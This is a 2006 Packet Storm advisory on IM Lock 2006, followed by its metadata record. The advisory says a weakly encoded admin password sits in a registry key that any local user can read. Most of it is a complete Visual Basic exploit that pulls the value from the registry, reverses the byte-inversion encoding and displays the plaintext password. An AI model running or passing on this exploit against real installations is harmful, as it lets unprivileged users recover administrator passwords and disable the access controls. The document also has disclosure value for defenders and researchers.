ID PACKETSTORM:44462 Type packetstorm Reporter fRoGGz Modified 2006-03-08T00:00:00
Description
`IM Lock 2006 - Insecure Registry Permission Vulnerability
---------------------------------------------------------
Application: IM Lock 2006
Vendor: www.comvigo.com
Corporation: Comvigo, Inc.
Version: Latest: (2 March 2006) - Home Edition, Enterprise & Professional
Description: IM Lock 2006 discloses passwords to local users.
Background:
===========
Security Auditing & Management software, IM Lock controls and blocks access to
Instant Messaging and peer to peer services that waste time and that can infect
computers with viruses. Blocks all popular services: MSN Messenger, Yahoo Messenger,
ICQ, AIM, Skype, eMule, iTunes, ... We use several algorithms to detect and lock
applications, working portion of IM Lock is virtually invisible to the computer user.
Vulnerability:
==============
Encrypted password is stored in the registry, this key is readable by non-privileged users
on the system, so by decoding password, a malicious user could gain access of config panel.
Exploit:
========
' ############################################################################
' IM Lock 2006 - Local Password Encryption Weakness Exploit by fRoGGz
' Versions: Home Edition, Enterprise & Professional
' Application: IM Lock 2006
' Distributor : Comvigo, Inc.
' Link: http://www.comvigo.com
' Vulnerable Description: IM Lock 2006 discloses passwords to local users.
'
' Discovered & Coded by fRoGGz
' Credits to: SecuBox Labs - shadock.secubox.com
'
' ############################################################################
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" _
(ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" _
(ByVal hKey As Long, _
ByVal lpValueName As String, _
ByVal lpReserved As Long, _
lpType As Long, _
lpData As Any, _
lpcbData As Long) As Long
Dim i As Integer
Dim GetCrypt, Decrypt As String
Public Function GrabBDR(hKey As Long, strPath As String, strValue As String) As String
Dim keyhand As Long
Dim lResult As Long
Dim strBuf As String
Dim lDataBufSize As Long
Dim intZeroPos As Integer
Dim sBuffer As String
r = RegOpenKey(hKey, strPath, keyhand)
lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)
If lValueType = 1 Then
strBuf = String(lDataBufSize, " ")
lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)
If lResult = ERROR_SUCCESS Then
intZeroPos = InStr(strBuf, Chr$(0))
If intZeroPos > 0 Then
GrabBDR = Left$(strBuf, intZeroPos - 1)
End If
End If
lResult = RegCloseKey(hKey)
End If
End Function
Private Sub Form_Load()
GetCrypt = GrabBDR(&H80000002, "SOFTWARE\Microsoft\SvcHst\msnvs", "prc")
If GetCrypt <> "" Then
For i = 1 To Len(GetCrypt)
Decrypt = Decrypt & Chr(255 - Asc(Mid(GetCrypt, i, 1)))
Next
MsgBox "ENCRYPT PASSWORD FOUND !" & vbCrLf & "YOUR PASSWORD IS: " & Decrypt, _
vbOKOnly, "Secubox Labs - Recovery"
Else
MsgBox "NO ENCRYPT PASSWORD FOUND !", vbCritical, "IM LOCK INSTALLED ?"
End If
End
End Sub
CREDiTS:
========
fRoGGz - unsecure[at]writeme[dot]com
SecuBox Labs - secubox.shadock.net
--
___________________________________________________
Play 100s of games for FREE! http://games.mail.com/
`
{"sourceHref": "https://packetstormsecurity.com/files/download/44462/imlock2006.txt", "sourceData": "`IM Lock 2006 - Insecure Registry Permission Vulnerability \n--------------------------------------------------------- \n \nApplication: IM Lock 2006 \nVendor: www.comvigo.com \nCorporation: Comvigo, Inc. \nVersion: Latest: (2 March 2006) - Home Edition, Enterprise & Professional \nDescription: IM Lock 2006 discloses passwords to local users. \n \n \nBackground: \n=========== \nSecurity Auditing & Management software, IM Lock controls and blocks access to \nInstant Messaging and peer to peer services that waste time and that can infect \ncomputers with viruses. Blocks all popular services: MSN Messenger, Yahoo Messenger, \nICQ, AIM, Skype, eMule, iTunes, ... We use several algorithms to detect and lock \napplications, working portion of IM Lock is virtually invisible to the computer user. \n \n \nVulnerability: \n============== \nEncrypted password is stored in the registry, this key is readable by non-privileged users \non the system, so by decoding password, a malicious user could gain access of config panel. \n \n \nExploit: \n======== \n \n' ############################################################################ \n' IM Lock 2006 - Local Password Encryption Weakness Exploit by fRoGGz \n' Versions: Home Edition, Enterprise & Professional \n' Application: IM Lock 2006 \n' Distributor : Comvigo, Inc. \n' Link: http://www.comvigo.com \n' Vulnerable Description: IM Lock 2006 discloses passwords to local users. \n' \n' Discovered & Coded by fRoGGz \n' Credits to: SecuBox Labs - shadock.secubox.com \n' \n' ############################################################################ \n \nPrivate Declare Function RegCloseKey Lib \"advapi32.dll\" (ByVal hKey As Long) As Long \n \nPrivate Declare Function RegOpenKey Lib \"advapi32.dll\" Alias \"RegOpenKeyA\" _ \n(ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long \n \nPrivate Declare Function RegQueryValueEx Lib \"advapi32.dll\" Alias \"RegQueryValueExA\" _ \n(ByVal hKey As Long, _ \nByVal lpValueName As String, _ \nByVal lpReserved As Long, _ \nlpType As Long, _ \nlpData As Any, _ \nlpcbData As Long) As Long \n \nDim i As Integer \nDim GetCrypt, Decrypt As String \n \nPublic Function GrabBDR(hKey As Long, strPath As String, strValue As String) As String \nDim keyhand As Long \nDim lResult As Long \nDim strBuf As String \nDim lDataBufSize As Long \nDim intZeroPos As Integer \nDim sBuffer As String \n \nr = RegOpenKey(hKey, strPath, keyhand) \nlResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize) \n \nIf lValueType = 1 Then \nstrBuf = String(lDataBufSize, \" \") \nlResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize) \nIf lResult = ERROR_SUCCESS Then \nintZeroPos = InStr(strBuf, Chr$(0)) \nIf intZeroPos > 0 Then \nGrabBDR = Left$(strBuf, intZeroPos - 1) \nEnd If \nEnd If \nlResult = RegCloseKey(hKey) \nEnd If \nEnd Function \n \nPrivate Sub Form_Load() \nGetCrypt = GrabBDR(&H80000002, \"SOFTWARE\\Microsoft\\SvcHst\\msnvs\", \"prc\") \nIf GetCrypt <> \"\" Then \nFor i = 1 To Len(GetCrypt) \nDecrypt = Decrypt & Chr(255 - Asc(Mid(GetCrypt, i, 1))) \nNext \nMsgBox \"ENCRYPT PASSWORD FOUND !\" & vbCrLf & \"YOUR PASSWORD IS: \" & Decrypt, _ \nvbOKOnly, \"Secubox Labs - Recovery\" \nElse \nMsgBox \"NO ENCRYPT PASSWORD FOUND !\", vbCritical, \"IM LOCK INSTALLED ?\" \nEnd If \nEnd \nEnd Sub \n \n \n \n \nCREDiTS: \n======== \nfRoGGz - unsecure[at]writeme[dot]com \nSecuBox Labs - secubox.shadock.net \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n-- \n___________________________________________________ \nPlay 100s of games for FREE! http://games.mail.com/ \n`\n", "edition": 1, "references": [], "modified": "2006-03-08T00:00:00", "hash": "52b6368847bc85ee2f299d43ea5ba1d18c49713912e5c9dfe8873bea35fe2a85", "cvelist": [], "history": [], "bulletinFamily": "exploit", "href": "https://packetstormsecurity.com/files/44462/imlock2006.txt.html", "description": "", "id": "PACKETSTORM:44462", "reporter": "fRoGGz", "lastseen": "2016-11-03T10:20:41", "published": "2006-03-08T00:00:00", "enchantments": {"score": {"value": 9.3, "vector": "NONE"}, "vulnersScore": 9.3}, "objectVersion": "1.2", "type": "packetstorm", "cvss": {"vector": "NONE", "score": 0.0}, "title": "imlock2006.txt", "viewCount": 0, "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "d4be9c4fc84262b4f39f89565918568f", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "description"}, {"hash": "e5025206704a35bb3f3aef0b8c5d88e9", "key": "href"}, {"hash": "2547e66ea18b22748dbc7564d1236d58", "key": "modified"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "2547e66ea18b22748dbc7564d1236d58", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "0d533338ad45170900cd58e33255cdfa", "key": "reporter"}, {"hash": "11ac0aaa3721412134d51ae2b8472207", "key": "sourceData"}, {"hash": "a4e27c0527b8e9e03ba1574728b769be", "key": "sourceHref"}, {"hash": "a5711406c921c5868a96e98e88fa5a56", "key": "title"}, {"hash": "6466ca3735f647eeaed965d9e71bd35d", "key": "type"}]}
